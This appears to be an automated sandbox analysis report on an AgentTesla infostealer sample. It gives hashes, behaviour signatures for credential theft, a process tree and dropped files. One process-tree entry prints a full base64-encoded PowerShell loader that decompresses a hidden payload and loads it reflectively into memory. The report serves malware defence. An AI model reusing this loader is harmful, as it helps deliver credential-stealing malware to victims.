Analysis

  • max time kernel
    67s
  • max time network
    51s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01/05/2024, 01:28

General

  • Target

    3b254f8a4c56c1eb0e48ffbbcb1024149a009b4ec4123d913059e8038fa09183.exe

  • Size

    332KB

  • MD5

    48fb8d3e38e1bcbee6398d2994764730

  • SHA1

    59af4f0dcf814ab16f35dfa27dec423fae56772c

  • SHA256

    3b254f8a4c56c1eb0e48ffbbcb1024149a009b4ec4123d913059e8038fa09183

  • SHA512

    2243ba06a132ced2d4188785fc9e02de1ccafc8fec479409bccace5ab4fa71ba84d28fd9defed9f9521e54d81dbcd34e8a12d1bad418b8c04a06e7f9783d9cb6

  • SSDEEP

    6144:3fL+oq6sq12PAjvjHSPMW3JB68oZmaYtJ7lbwum:3fLDsqI+jSPLoZBP

Malware Config

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3b254f8a4c56c1eb0e48ffbbcb1024149a009b4ec4123d913059e8038fa09183.exe
    "C:\Users\Admin\AppData\Local\Temp\3b254f8a4c56c1eb0e48ffbbcb1024149a009b4ec4123d913059e8038fa09183.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1996
    • C:\Windows\SysWOW64\wscript.exe
      "wscript.exe" "C:\Users\Admin\start.vbs"
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:4864
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\temp.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5044
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('IyAiSGUgd2hvIGhhcyBhIHdoeSB0byBsaXZlIGNhbiBiZWFyIGFsbW9zdCBhbnkgaG93LiINCiMgIlRvIGxpdmUgaXMgdG8gc3VmZmVyLCB0byBzdXJ2aXZlIGlzIHRvIGZpbmQgc29tZSBtZWFuaW5nIGluIHRoZSBzdWZmZXJpbmcuIg0KIyAiV2l0aG91dCBtdXNpYywgbGlmZSB3b3VsZCBiZSBhIG1pc3Rha2UuIg0KDQpmdW5jdGlvbiBEZWNvbXByZXNzQnl0ZXMoJGNvbXByZXNzZWREYXRhKSB7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGNvbXByZXNzZWREYXRhKSkpOyAkbXMuUG9zaXRpb24gPSAwOyAkZGVmbGF0ZVN0cmVhbSA9IFtJTy5Db21wcmVzc2lvbi5EZWZsYXRlU3RyZWFtXTo6bmV3KCRtcywgW0lPLkNvbXByZXNzaW9uLkNvbXByZXNzaW9uTW9kZV06OkRlY29tcHJlc3MpOyAkYnVmZmVyID0gW2J5dGVbXV06Om5ldyg0MDk2KTsgJG1zID0gW0lPLk1lbW9yeVN0cmVhbV06Om5ldygpOyB3aGlsZSAoJHRydWUpIHsgJGNvdW50ID0gJGRlZmxhdGVTdHJlYW0uUmVhZCgkYnVmZmVyLCAwLCAkYnVmZmVyLkxlbmd0aCk7IGlmICgkY291bnQgLWVxIDApIHsgYnJlYWsgfSAkbXMuV3JpdGUoJGJ1ZmZlciwgMCwgJGNvdW50KSB9ICRkZWZsYXRlU3RyZWFtLkNsb3NlKCk7ICRtcy5Ub0FycmF5KCkgfQ0KDQojICJUaGUgc3VyZXN0IHdheSB0byBjb3JydXB0IGEgeW91dGggaXMgdG8gaW5zdHJ1Y3QgaGltIHRvIGhvbGQgaW4gaGlnaGVyIGVzdGVlbSB0aG9zZSB3aG8gdGhpbmsgYWxpa2UgdGhhbiB0aG9zZSB3aG8gdGhpbmsgZGlmZmVyZW50bHkuIg0KIyAiSW4gaGVhdmVuLCBhbGwgdGhlIGludGVyZXN0aW5nIHBlb3BsZSBhcmUgbWlzc2luZy4iDQoNCg0KDQpmdW5jdGlvbiBSZXZlcnNlU3RyaW5nKCRpbnB1dFN0cmluZykgew0KICAgICRjaGFyQXJyYXkgPSAkaW5wdXRTdHJpbmcuVG9DaGFyQXJyYXkoKQ0KICAgICRyZXZlcnNlZEFycmF5ID0gJGNoYXJBcnJheVstMS4uLSgkY2hhckFycmF5Lkxlbmd0aCldDQogICAgJHJldmVyc2VkU3RyaW5nID0gLWpvaW4gJHJldmVyc2VkQXJyYXkNCiAgICByZXR1cm4gJHJldmVyc2VkU3RyaW5nDQp9DQojICJUaGVyZSBpcyBhbHdheXMgc29tZSBtYWRuZXNzIGluIGxvdmUuIEJ1dCB0aGVyZSBpcyBhbHNvIGFsd2F5cyBzb21lIHJlYXNvbiBpbiBtYWRuZXNzLiINCiMgIlRoYXQgd2hpY2ggZG9lcyBub3Qga2lsbCB1cyBtYWtlcyB1cyBzdHJvbmdlci4iDQoNCmZ1bmN0aW9uIENsb3NlLVByb2Nlc3Mgew0KICAgIHBhcmFtKA0KICAgICAgICBbc3RyaW5nXSRQcm9jZXNzTmFtZQ0KICAgICkNCg0KICAgICRwcm9jZXNzID0gR2V0LVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1FcnJvckFjdGlvbiBTaWxlbnRseUNvbnRpbnVlDQoNCiAgICBpZiAoJHByb2Nlc3MgLW5lICRudWxsKSB7DQogICAgICAgIFN0b3AtUHJvY2VzcyAtTmFtZSAkUHJvY2Vzc05hbWUgLUZvcmNlDQoJfQ0KfQ0KIyAiSW4gaW5kaXZpZHVhbHMsIGluc2FuaXR5IGlzIHJhcmU7IGJ1dCBpbiBncm91cHMsIHBhcnRpZXMsIG5hdGlvbnMsIGFuZCBlcG9jaHMsIGl0IGlzIHRoZSBydWxlLiINCg0KZnVuY3Rpb24gQ05WKCRhcnIpeyANCiAgICAkbz0xMjM7IA0KICAgICRkPSRudWxsOyANCiAgICBmb3JlYWNoKCRpIGluICRhcnIpeyANCiAgICAgICAgaWYgKCRpIC1ndCAxMjcpIHsgDQogICAgICAgICAgICAkZCs9IFtjaGFyXSgkaS0kbykgDQogICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgJGQrPSBbY2hhcl0oJGkrJG8pIA0KICAgICAgICB9IA0KICAgIH0gDQogICAgcmV0dXJuICRkIA0KfQ0KIyAiVGhlIG1hbiBvZiBrbm93bGVkZ2UgbXVzdCBiZSBhYmxlIG5vdCBvbmx5IHRvIGxvdmUgaGlzIGVuZW1pZXMgYnV0IGFsc28gdG8gaGF0ZSBoaXMgZnJpZW5kcy4iDQojICJBIHRoaW5rZXIgc2VlcyBoaXMgb3duIGFjdGlvbnMgYXMgZXhwZXJpbWVudHMgYW5kIHF1ZXN0aW9ucyDigJQgYXMgYXR0ZW1wdHMgdG8gZmluZCBvdXQgc29tZXRoaW5nLiBTdWNjZXNzIGFuZCBmYWlsdXJlIGFyZSBmb3IgaGltIGFuc3dlcnMgYWJvdmUgYWxsLiINCg0KDQokZW5jb2RlZEFycmF5ID0gQCgxNTksMjIwLDIzOCwyMzgsMjI0LDIzMiwyMjEsMjMxLDI0NCwxNjksMTkyLDIzMywyMzksMjM3LDI0NCwyMDMsMjM0LDIyOCwyMzMsMjM5LDE2OSwxOTYsMjMzLDI0MSwyMzQsMjMwLDIyNCwxNjMsMTU5LDIzMywyNDAsMjMxLDIzMSwxNjcsMTU5LDIzMywyNDAsMjMxLDIzMSwxNjQsMTgyKQ0KJGRlY29kZWRTdHJpbmcgPSBDTlYgJGVuY29kZWRBcnJheQ0KDQoNCiRmaWxlUGF0aCA9IEpvaW4tUGF0aCAkZW52OlVzZXJQcm9maWxlICJ2S01QUWQuYmF0Ig0KJGxhc3RMaW5lID0gR2V0LUNvbnRlbnQgLVBhdGggJGZpbGVQYXRoIHwgU2VsZWN0LU9iamVjdCAtTGFzdCAxDQokY2xlYW5lZExpbmUgPSAkbGFzdExpbmUgLXJlcGxhY2UgJ146OicNCiRyZXZlcnNlID0gUmV2ZXJzZVN0cmluZyAkY2xlYW5lZExpbmUNCiRkZWNvbXByZXNzZWRCeXRlID0gRGVjb21wcmVzc0J5dGVzIC1jb21wcmVzc2VkRGF0YSAkcmV2ZXJzZQ0KIyAiVGhlIG1hbiBvZiBrbm93bGVkZ2UgbXVzdCBiZSBhYmxlIG5vdCBvbmx5IHRvIGxvdmUgaGlzIGVuZW1pZXMgYnV0IGFsc28gdG8gaGF0ZSBoaXMgZnJpZW5kcy4iDQojICJBIHRoaW5rZXIgc2VlcyBoaXMgb3duIGFjdGlvbnMgYXMgZXhwZXJpbWVudHMgYW5kIHF1ZXN0aW9ucyDigJQgYXMgYXR0ZW1wdHMgdG8gZmluZCBvdXQgc29tZXRoaW5nLiBTdWNjZXNzIGFuZCBmYWlsdXJlIGFyZSBmb3IgaGltIGFuc3dlcnMgYWJvdmUgYWxsLiINCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQokYXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGRlY29tcHJlc3NlZEJ5dGUpDQoNCg0KQ2xvc2UtUHJvY2VzcyAtUHJvY2Vzc05hbWUgImNtZCINCkludm9rZS1FeHByZXNzaW9uICRkZWNvZGVkU3RyaW5n')) | Out-File -FilePath 'C:\Users\Admin\vKMPQd.ps1' -Encoding UTF8"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4304
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\vKMPQd.ps1"
          4⤵
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3056
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
            5⤵
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:3900

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

          Filesize

          1KB

          MD5

          4280e36a29fa31c01e4d8b2ba726a0d8

          SHA1

          c485c2c9ce0a99747b18d899b71dfa9a64dabe32

          SHA256

          e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359

          SHA512

          494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          16KB

          MD5

          661e6780fa113db8b84bd1d8d2ed3be7

          SHA1

          dc241a215c95049cebc4fe0865583e1d6e15d6e7

          SHA256

          97331c3010aefab61f50b45219f06ea594392dd953d9daf26b74bf6a5477062b

          SHA512

          b3937afd380dbddc798e4aa9165851879d67ce5f153f4105206a6ec3010c0a465f3b3bcb41e705e1e2dc638ffea886b1d0de6d5ad1a02544b75b6175cc5c26b4

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_31xxdsmv.hmq.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\start.vbs

          Filesize

          173B

          MD5

          2fd98bad7e3e521d8a67acfa4a681a86

          SHA1

          545fd01deb3a8cc9f605aa33ea2b060e9b904c5b

          SHA256

          aa1ed4fef63aad3ca2461ab76ab18890bffb7554100bee65dd7665b213c25706

          SHA512

          3aafad51333b06e31d4c6965f1b2d81f4e7d5ebd7334bec2ebbe648930154dfc34848d96a4cd27a43e3d709a0b4a24eb3d3bf77d91c10733975f9e95a24f44c8

        • C:\Users\Admin\temp.bat

          Filesize

          277KB

          MD5

          8b4e4571f1b43434f6ed2b668dddf598

          SHA1

          4b7cbd44f9dbdf4e7297fd10a13c587dad3541a2

          SHA256

          ba51fc7d4bd3f667bf018b96e2afd34dc18e766839b2e3a5cf4232f6c34ff7bb

          SHA512

          10089e93684e5131576107933d11cf6107ea44a705d04a52d2513d16ab3cc209b15b00c15cfc1abb93965def900cfce8ddc42d8e157e4f0bc4d7dc98fd1c40be

        • C:\Users\Admin\vKMPQd.ps1

          Filesize

          2KB

          MD5

          452a171820a72b38003c5cf1b8969851

          SHA1

          342916fe746fa239bfc44aed2b756c031b6b3358

          SHA256

          9f60027ef0813cd4797d797a6a4d7e1397913e9078b911c07a63d5e6b79ce28d

          SHA512

          fbee68566ca39766eed2e760f2a99fe692a975eddd325d1ed1df01417d5e072c03c6167ac915de32f00c1d7ca43dc02fda3b5cd94bd6ac4ed9ac86f9876e44ff

        • memory/3056-45-0x0000000007950000-0x00000000079E6000-memory.dmp

          Filesize

          600KB

        • memory/3056-50-0x0000000002E20000-0x0000000002E2A000-memory.dmp

          Filesize

          40KB

        • memory/3056-49-0x00000000065A0000-0x000000000661E000-memory.dmp

          Filesize

          504KB

        • memory/3056-47-0x00000000080B0000-0x0000000008654000-memory.dmp

          Filesize

          5.6MB

        • memory/3056-46-0x00000000079F0000-0x0000000007A12000-memory.dmp

          Filesize

          136KB

        • memory/3056-42-0x0000000006240000-0x0000000006594000-memory.dmp

          Filesize

          3.3MB

        • memory/3900-51-0x0000000000400000-0x0000000000442000-memory.dmp

          Filesize

          264KB

        • memory/3900-53-0x0000000006DD0000-0x0000000006E20000-memory.dmp

          Filesize

          320KB

        • memory/3900-54-0x0000000006EC0000-0x0000000006F52000-memory.dmp

          Filesize

          584KB

        • memory/3900-55-0x0000000006E90000-0x0000000006E9A000-memory.dmp

          Filesize

          40KB

        • memory/4304-11-0x0000000005180000-0x00000000051A2000-memory.dmp

          Filesize

          136KB

        • memory/4304-31-0x00000000749F0000-0x00000000751A0000-memory.dmp

          Filesize

          7.7MB

        • memory/4304-27-0x0000000006FD0000-0x0000000006FEA000-memory.dmp

          Filesize

          104KB

        • memory/4304-26-0x0000000007840000-0x0000000007EBA000-memory.dmp

          Filesize

          6.5MB

        • memory/4304-25-0x00000000061C0000-0x000000000620C000-memory.dmp

          Filesize

          304KB

        • memory/4304-24-0x0000000005F20000-0x0000000005F3E000-memory.dmp

          Filesize

          120KB

        • memory/4304-23-0x0000000005A90000-0x0000000005DE4000-memory.dmp

          Filesize

          3.3MB

        • memory/4304-12-0x0000000005940000-0x00000000059A6000-memory.dmp

          Filesize

          408KB

        • memory/4304-13-0x0000000005A20000-0x0000000005A86000-memory.dmp

          Filesize

          408KB

        • memory/4304-10-0x0000000004BE0000-0x0000000004BF0000-memory.dmp

          Filesize

          64KB

        • memory/4304-9-0x0000000005220000-0x0000000005848000-memory.dmp

          Filesize

          6.2MB

        • memory/4304-7-0x00000000749F0000-0x00000000751A0000-memory.dmp

          Filesize

          7.7MB

        • memory/4304-8-0x0000000004BE0000-0x0000000004BF0000-memory.dmp

          Filesize

          64KB

        • memory/4304-6-0x0000000004B70000-0x0000000004BA6000-memory.dmp

          Filesize

          216KB